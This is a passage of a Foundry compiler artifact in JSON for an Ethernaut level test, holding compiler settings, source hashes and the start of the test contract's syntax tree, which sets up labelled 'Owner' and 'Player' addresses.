level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Instance.t.sol":"TestInstance"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Instance.sol":{"keccak256":"0xb6b0b01614d22cfc73537b5682d203d5f2bb91519c737cfe31db6242804d7564","urls":["bzz-raw://3a0321e33e5dd1006c3a849eaade7ad139890c3cd40c50235b3efcc00817d522","dweb:/ipfs/QmY2CyYnBjSYHsJqFuWABh78xQxagUa897iemGymtfq1yt"],"license":"MIT"},"src/levels/InstanceFactory.sol":{"keccak256":"0xf594b79983d1c79a193f2fea669631d7c92957c08aaeec411899ac013cb161fb","urls":["bzz-raw://b0dd1ff9574b4061faaca23a38bd4de7dd3f9016c4d7128202a5a1a7e542a647","dweb:/ipfs/Qmc9Nzg386zPiuEnHfgUyQPHjSTWEL5aav6CoqREcpK2Ew"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Instance.t.sol":{"keccak256":"0x608c91d50d9526ff694ee8a156202bcc9c3e18388abb239efa2efda26ac2fc38","urls":["bzz-raw://52ecd318ff857a78eb7f3a37732188dd7da9c26580800d0359c5f7363dce69de","dweb:/ipfs/QmRuVRA4zXdxazZxRgV3NmNK4ddYLkCy3fqbj9W516aMHi"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Instance.t.sol","id":62170,"exportedSymbols":{"Ethernaut":[49101],"Instance":[53503],"InstanceFactory":[53554],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestInstance":[62169],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1950:136","nodes":[{"id":61981,"nodeType":"PragmaDirective","src":"32:23:136","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":61982,"nodeType":"ImportDirective","src":"57:28:136","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":62170,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":61984,"nodeType":"ImportDirective","src":"86:43:136","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":62170,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":61983,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:136","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61986,"nodeType":"ImportDirective","src":"131:49:136","nodes":[],"absolutePath":"src/levels/Instance.sol","file":"src/levels/Instance.sol","nameLocation":"-1:-1:-1","scope":62170,"sourceUnit":53504,"symbolAliases":[{"foreign":{"id":61985,"name":"Instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53503,"src":"139:8:136","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61988,"nodeType":"ImportDirective","src":"181:63:136","nodes":[],"absolutePath":"src/levels/InstanceFactory.sol","file":"src/levels/InstanceFactory.sol","nameLocation":"-1:-1:-1","scope":62170,"sourceUnit":53555,"symbolAliases":[{"foreign":{"id":61987,"name":"InstanceFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53554,"src":"189:15:136","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61990,"nodeType":"ImportDirective","src":"245:48:136","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":62170,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":61989,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"253:5:136","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61992,"nodeType":"ImportDirective","src":"294:44:136","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":62170,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":61991,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"302:9:136","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62169,"nodeType":"ContractDefinition","src":"340:1641:136","nodes":[{"id":61999,"nodeType":"VariableDeclaration","src":"383:19:136","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"393:9:136","scope":62169,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":61998,"nodeType":"UserDefinedTypeName","pathNode":{"id":61997,"name":"Ethernaut","nameLocations":["383:9:136"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"383:9:136"},"referencedDeclaration":49101,"src":"383:9:136","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":62002,"nodeType":"VariableDeclaration","src":"408:17:136","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"417:8:136","scope":62169,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"},"typeName":{"id":62001,"nodeType":"UserDefinedTypeName","pathNode":{"id":62000,"name":"Instance","nameLocations":["408:8:136"],"nodeType":"IdentifierPath","referencedDeclaration":53503,"src":"408:8:136"},"referencedDeclaration":53503,"src":"408:8:136","typeDescriptions":{"typeIdentifier":"t_contract$_Instance_$53503","typeString":"contract Instance"}},"visibility":"internal"},{"id":62004,"nodeType":"VariableDeclaration","src":"432:21:136","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"448:5:136","scope":62169,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62003,"name":"address","nodeType":"ElementaryTypeName","src":"432:15:136","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62006,"nodeType":"VariableDeclaration","src":"459:22:136","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"475:6:136","scope":62169,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62005,"name":"address","nodeType":"ElementaryTypeName","src":"459:15:136","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62108,"nodeType":"FunctionDefinition","src":"668:602:136","nodes":[],"body":{"id":62107,"nodeType":"Block","src":"692:578:136","nodes":[],"statements":[{"assignments":[62011],"declarations":[{"constant":false,"id":62011,"mutability":"mutable","name":"users","nameLocation":"727:5:136","nodeType":"VariableDeclaration","scope":62107,"src":"702:30:136","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":62009,"name":"address","nodeType":"ElementaryTypeName","src":"702:15:136","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62010,"nodeType":"ArrayTypeName","src":"702:17:136","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":62015,"initialValue":{"arguments":[{"hexValue":"32","id":62013,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"747:1:136","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":62012,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"735:11:136","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":62014,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"735:14:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"702:47:136"},{"expression":{"id":62020,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62016,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62004,"src":"760:5:136","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":62017,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62011,"src":"768:5:136","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":62019,"indexExpression":{"hexValue":"30","id":62018,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"774:1:136","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"768:8:136","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"760:16:136","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62021,"nodeType":"ExpressionStatement","src":"760:16:136"},{"expression":{"arguments":[{"id":62025,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62004,"src":"795:5:136","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":62026,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"802:7:136","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":62022,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"786:2:136","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62024,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"789:5:136","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"786:8:136","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":62027,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"786:24:136","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62028,"nodeType":"ExpressionStatement","src":"786:24:136"},{"expression":{"id":62033,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62029,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62006,"src":"821:6:136","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":62030,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62011,"src":"830:5:136","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":62032,"indexExpression":{"hexValue":"31","id":62031,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"836:1:136","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"830:8:136","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"821:17:136","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62034,"nodeType":"ExpressionStatement","src":"821:17:136"},{"expression":{"arguments":[{"id":62038,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62006,"src":"857:6:136","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":62039,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"865:8:136","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address 